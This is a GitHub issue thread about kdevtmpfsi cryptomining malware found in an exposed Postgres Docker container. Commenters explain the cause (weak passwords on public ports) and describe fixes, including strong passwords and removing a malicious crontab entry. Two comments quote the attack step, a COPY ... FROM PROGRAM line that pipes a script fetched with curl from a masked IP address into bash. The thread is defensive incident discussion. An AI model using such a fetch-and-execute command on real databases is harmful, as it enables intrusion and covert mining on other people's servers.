Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

kdevtmpfsi malware found in postgres latest image #1054

Closed
cottons-kr opened this issue Feb 26, 2023 · 6 comments
Closed

kdevtmpfsi malware found in postgres latest image #1054

cottons-kr opened this issue Feb 26, 2023 · 6 comments

Comments

@cottons-kr
Copy link

I noticed that /tmp/kdevtmpfsi is using all cpu resource. so I tried to remove it but it was in /var/lib/docker/overlay2/.../.../merged. I stopped PostgreSQL container because it was the only running container in the server.

image

@wglambert
Copy link

This is an unfortunate consequence of having a public-facing instance with a compromised (or simple) password.
#817 (comment)
#798 (comment)

See also:
redis/docker-library-redis#217
redis/docker-library-redis#225
docker-library/php#1110
docker-library/php#1127

@zedefi
Copy link

zedefi commented Jan 14, 2024

I wonder how is someone able to install mining malware if they only can access your database via psql console?

@ImreSamu
Copy link
Contributor

@zedefi :

I wonder how is someone able to install mining malware if they only can access your database via psql console?

Attack Sequence: open port + brute force attack + COPY ... FROM PROGRAM 'curl http://1xx.1x.7x.1/1.sh | bash';

@codingwizardx
Copy link

Attack Sequence: open port + brute force attack + COPY ... FROM PROGRAM 'curl http://1xx.1x.7x.1/1.sh | bash';

Well said @ImreSamu, Yes thats actually true, i faced the same issue because of exposing database ports to the internet,

@tirzasrwn
Copy link

i have the same issue because having a weak password. changing the password to a strong one, works for me.

@paulkorir
Copy link

One thing I found useful was to sudo -u postgres crontab -e where I found the cronjob that kept restarting it. After deleting that it seems to have quietened down. Fingers crossed!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

7 participants